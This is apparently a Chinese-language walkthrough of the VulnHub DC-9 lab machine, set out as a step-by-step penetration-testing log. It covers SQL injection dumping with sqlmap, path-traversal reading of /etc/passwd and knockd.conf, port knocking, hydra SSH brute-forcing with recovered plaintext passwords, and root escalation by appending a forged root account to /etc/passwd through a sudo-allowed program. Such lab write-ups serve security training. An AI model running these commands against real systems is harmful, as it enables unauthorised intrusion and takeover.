vulnhub >_ DC-9
Published on 09 Nov 2020
DC-9
80页面目录看了一圈没什么有用的,抓search通讯包
sqlmap注入并dump
sqlmap -r search.txt --dbs --batch --dump
admin:856f5de590ef37314e7c3bdf6f8a66dc
admin:transorbital1
看了看还是没有什么新线索,这里可能有一个LFI?
但是我们并不知道参数是什么,可以盲目的猜测到可能是file
http://10.10.10.136/manage.php?file=../../../../../../etc/passwd
考虑到ssh一直被过滤,可以查看/etc/knockd.conf 设置已知道敲端口的顺序
nmap -Pn --host-timeout 100 --max-retries 0 -p 7469 10.10.10.136
nmap -Pn --host-timeout 100 --max-retries 0 -p 8475 10.10.10.136
nmap -Pn --host-timeout 100 --max-retries 0 -p 9842 10.10.10.136
试验了一下之前的登录凭据复用,但是并不正确。
考虑到我们已经得到的信息,可以回数据库,考虑到我们之前只dump了staff库,并没有dump users库
重新dump一下
sqlmap -r search.txt -D users --batch --dump
果然,前期枚举并不够细致,漏下了重要信息。
将凭据生成username.txt和passwd.txt以便传入hydra暴力测试ssh
hydra -L username.txt -P passwd.txt 10.10.10.136 ssh
得到凭据
chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
逐个登录检查
在janitor的目录下发现了更多密码
使用这些密码增加字典,并重复暴力ssh
得到了新的凭证。
fredf:B4-Tru3-001
这是已经编译好的执行文件,在文件夹逐步搜索,在上N级目录中找到了其对应的python源码
看代码是打开第一个文件,读取内容,然后打开第二个文件,将第一个文件的内容写入到第二个文件之后。也就是说我们可以利用这个程序,为passwd文件附加伪造的root用户。
首先先制作用户的hash
openssl passwd -1 -salt evil abcdef
$1$evil$PJUrXHFg5Juh42jLCKQs10
然后仿照passwd文件格式伪造用户信息
evil:$1$evil$PJUrXHFg5Juh42jLCKQs10:0:0::/root:/bin/bash
然后将此伪造内容echo进一个新的文件
接着利用sudo
sudo ../opt/devstuff/dist/test/test evil.txt /etc/passwd
可以看到已经成功添加
切换到evil用户